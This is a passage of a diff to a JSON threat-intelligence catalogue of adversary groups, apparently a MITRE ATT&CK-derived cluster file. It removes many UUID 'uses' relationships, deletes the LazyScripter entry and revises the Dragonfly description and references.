"dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", "tags": [ @@ -14473,13 +13625,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2c5281dd-b5fd-4531-8aea-c1bf8a0f8756", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2daa14d6-cbf3-4308-bb8e-213c324a08e4", "tags": [ @@ -14487,13 +13632,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ @@ -14578,13 +13716,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ @@ -14648,13 +13779,6 @@ ], "type": "uses" }, - { - "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814", "tags": [ @@ -14683,13 +13807,6 @@ ], "type": "uses" }, - { - "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "tags": [ @@ -14760,13 +13877,6 @@ ], "type": "uses" }, - { - "dest-uuid": "6dbdc657-d8e0-4f2f-909b-7251b3e72c6d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "70e52b04-2a0c-4cea-9d18-7149f1df9dc5", "tags": [ @@ -14774,13 +13884,6 @@ ], "type": "uses" }, - { - "dest-uuid": "72911fe3-f085-40f7-b4f2-f25a4221fe44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", "tags": [ @@ -14830,20 +13933,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7decb26c-715c-40cf-b7e0-026f7d7cc215", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7e7c2fba-7cca-486c-9582-4c1bb2851961", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", "tags": [ @@ -14851,13 +13940,6 @@ ], "type": "uses" }, - { - "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a", "tags": [ @@ -14886,13 +13968,6 @@ ], "type": "uses" }, - { - "dest-uuid": "8f104855-e5b7-4077-b1f5-bc3103b41abe", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "tags": [ @@ -14907,13 +13982,6 @@ ], "type": "uses" }, - { - "dest-uuid": "954a1639-f2d6-407d-aef3-4917622ca493", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "959f3b19-2dc8-48d5-8942-c66813a5101a", "tags": [ @@ -14963,13 +14031,6 @@ ], "type": "uses" }, - { - "dest-uuid": "a009cb25-4801-4116-9105-80a91cf15c1b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0", "tags": [ @@ -15040,13 +14101,6 @@ ], "type": "similar" }, - { - "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "tags": [ @@ -15075,20 +14129,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bc76d0a4-db11-4551-9ac4-01a469cfb161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "bd369cd9-abb8-41ce-b5bb-fff23ee86c00", "tags": [ @@ -15096,13 +14136,6 @@ ], "type": "uses" }, - { - "dest-uuid": "bdad6f3b-de88-42fa-9295-d29b5271808e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ @@ -15187,20 +14220,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d28ef391-8ed4-45dc-bc4a-2f43abf54416", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d4dc46e3-5ba5-45b9-8204-010867cacfcb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -15271,13 +14290,6 @@ ], "type": "uses" }, - { - "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68", "tags": [ @@ -15299,20 +14311,6 @@ ], "type": "uses" }, - { - "dest-uuid": "f005e783-57d4-4837-88ad-dbe7faee1c51", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee", "tags": [ @@ -15362,13 +14360,6 @@ ], "type": "uses" }, - { - "dest-uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", "tags": [ @@ -16887,212 +15878,6 @@ "uuid": "18854f55-ac7c-4634-bd9a-352dd07613b7", "value": "APT41 - G0096" }, - { - "description": "[LazyScripter](https://attack.mitre.org/groups/G0140) is threat group that has mainly targeted the airlines industry since at least 2018, primarily using open-source toolsets.(Citation: MalwareBytes LazyScripter Feb 2021)", - "meta": { - "external_id": "G0140", - "refs": [ - "https://attack.mitre.org/groups/G0140", - "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf" - ], - "synonyms": [ - "LazyScripter" - ] - }, - "related": [ - { - "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3433a9e8-1c47-4320-b9bf-ed449061d1c3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ee16395-03f0-4690-a32e-69ce9ada0f9e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "40f5caa0-4cb7-4117-89fc-d421bb493df3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7807d3a4-a885-4639-a786-c1ed41484970", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7cd0bc75-055b-4098-a00e-83dc8beaff14", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "88d31120-5bc7-4ce3-a9c0-7cf147be8e54", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "911fe4c3-444d-4e92-83b8-cc761ac5fd3b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c8655260-9f4b-44e3-85e1-6538a5f6e4f4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d906e6f7-434c-44c0-b51a-ed50af8f7945", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "da04ac30-27da-4959-a67d-450ce47d9470", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df9b350b-d4f9-4e79-a826-75cc75fbc1eb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "abc5a1d4-f0dc-49d1-88a1-4a80e478bb03", - "value": "LazyScripter - G0140" - }, { "description": "Operation [Sharpshooter](https://attack.mitre.org/groups/G0104) is the name of a cyber espionage campaign discovered in October 2018 targeting nuclear, defense, energy, and financial companies. Though overlaps between this adversary and [Lazarus Group](https://attack.mitre.org/groups/G0032) have been noted, definitive links have not been established.(Citation: McAfee Sharpshooter December 2018)", "meta": { @@ -19216,13 +18001,6 @@ ], "type": "uses" }, - { - "dest-uuid": "a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", "tags": [ @@ -20337,30 +19115,21 @@ "value": "FIN5 - G0053" }, { - "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been attributed to Russia's Federal Security Service (FSB) Center 16.(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) Active since at least 2010, [Dragonfly](https://attack.mitre.org/groups/G0035) has targeted defense and aviation companies, government entities, companies related to industrial control systems, and critical infrastructure sectors worldwide through supply chain, spearphishing, and drive-by compromise attacks.(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Gigamon Berserk Bear October 2021)(Citation: CISA AA20-296A Berserk Bear December 2020)(Citation: Symantec Dragonfly 2.0 October 2017)", + "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus to include the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)\n\nA similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY )", "meta": { "external_id": "G0035", "refs": [ "http://fortune.com/2017/09/06/hack-energy-grid-symantec/", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf", "https://attack.mitre.org/groups/G0035", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", - "https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks", - "https://vblocalhost.com/uploads/VB2021-Slowik.pdf", - "https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions", "https://www.dragos.com/threat/dymalloy/", - "https://www.gov.uk/government/publications/russias-fsb-malign-cyber-activity-factsheet/russias-fsb-malign-activity-factsheet", - "https://www.justice.gov/opa/pr/four-russian-government-employees-charged-two-historical-hacking-campaigns-targeting-critical", - "https://www.mandiant.com/resources/ukraine-crisis-cyber-threats", "https://www.secureworks.com/research/mcmd-malware-analysis", "https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector", - "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector" + "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector", + "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group" ], "synonyms": [ "Dragonfly", - "TEMP.Isotope", - "DYMALLOY", - "Berserk Bear", "TG-4192", "Crouching Yeti", "IRON LIBERTY", @@ -20368,34 +19137,6 @@ ] }, "related": [ - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - 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"type": "uses" - }, - { - "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1d24cdee-9ea2-4189-b08e-af110bf2435d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "26c87906-d750-42c5-946c-d4162c73fc7b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - 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"tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0", "tags": [ @@ -20698,7 +19166,7 @@ "type": "uses" }, { - "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "dest-uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20711,27 +19179,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b4694861-542c-48ea-9eb1-10d356e7140a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b77cf5f3-6060-475d-bd60-40ccbf28fdc2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "bd369cd9-abb8-41ce-b5bb-fff23ee86c00", "tags": [ @@ -20739,20 +19186,6 @@ ], "type": "uses" }, - { - "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "c4810609-7da6-48ec-8057-1b70a7814db0", "tags": [ @@ -20760,34 +19193,6 @@ ], "type": "uses" }, - { - "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cde2d700-9ed1-46cf-9bce-07364fe8b24f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - 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"type": "uses" - }, - { - "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", "tags": [ @@ -23511,13 +21874,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "tags": [ @@ -23764,7 +22120,7 @@ "type": "uses" }, { - "dest-uuid": "f74a5069-015d-4404-83ad-5ca01056c0dc", + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23933,20 +22289,6 @@ ] }, "related": [ - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", "tags": [ @@ -23954,13 +22296,6 @@ ], "type": "uses" }, - { - "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "071d5d65-83ec-4a55-acfa-be7d5f28ba9a", "tags": [ @@ -23996,13 +22331,6 @@ ], "type": "uses" }, - { - "dest-uuid": "16cdd21f-da65-4e4f-bc04-dd7d198c7b26", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ @@ -24010,20 +22338,6 @@ ], "type": "uses" }, - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0", - "tags": [ - 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{ - "dest-uuid": "3ee16395-03f0-4690-a32e-69ce9ada0f9e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ @@ -24157,13 +22436,6 @@ ], "type": "uses" }, - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "tags": [ @@ -24220,27 +22492,6 @@ ], "type": "uses" }, - { - "dest-uuid": "60c4b628-4807-4b0b-bbf5-fdac8643c337", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "65013dd2-bc61-43e3-afb5-a14c4fa7437a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ @@ -24255,27 +22506,6 @@ ], "type": "uses" }, - { - "dest-uuid": "6e561441-8431-4773-a9b8-ccf28ef6a968", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "76551c52-b111-4884-bc47-ff3e728f0156", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", "tags": [ @@ -24311,13 +22541,6 @@ ], "type": "uses" }, - { - "dest-uuid": "88d31120-5bc7-4ce3-a9c0-7cf147be8e54", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "8bdfe255-e658-4ddd-a11c-b854762e451d", "tags": [ @@ -24325,20 +22548,6 @@ ], "type": "uses" }, - { - "dest-uuid": "8c4aef43-48d5-49aa-b2af-c0cd58d30c3d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", "tags": [ @@ -24346,13 +22555,6 @@ ], "type": "uses" }, - { - "dest-uuid": "937e4772-8441-4e4a-8bf0-8d447d667e23", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ @@ -24374,13 +22576,6 @@ ], "type": "uses" }, - { - "dest-uuid": "9e7452df-5144-4b6e-b04a-b66dd4016747", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ @@ -24388,13 +22583,6 @@ ], "type": "uses" }, - { - "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0", "tags": [ @@ -24416,20 +22604,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b1ccd744-3f78-4a0e-9bb2-2002057f7928", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "tags": [ @@ -24437,27 +22611,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b4694861-542c-48ea-9eb1-10d356e7140a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b9799466-9dd7-4098-b2d6-f999ce50b9a8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "bbe5b322-e2af-4a5e-9625-a4e62bf84ed3", "tags": [ @@ -24465,27 +22618,6 @@ ], "type": "uses" }, - { - "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "c9703cd3-141c-43a0-a926-380082be5d04", "tags": [ @@ -24493,20 +22625,6 @@ ], "type": "uses" }, - { - "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "tags": [ @@ -24521,13 +22639,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -24535,13 +22646,6 @@ ], "type": "uses" }, - { - "dest-uuid": "dd43c543-bb85-4a6f-aa6e-160d90d06a49", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ @@ -24549,13 +22653,6 @@ ], "type": "uses" }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ @@ -24591,27 +22688,6 @@ ], "type": "uses" }, - { - "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f4b843c1-7e92-4701-8fed-ce82f8be2636", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f9cc4d06-775f-4ee1-b401-4e2cc0da30ba", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2", "tags": [ @@ -24631,7 +22707,7 @@ "value": "Kimsuky - G0094" }, { - "description": "[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian 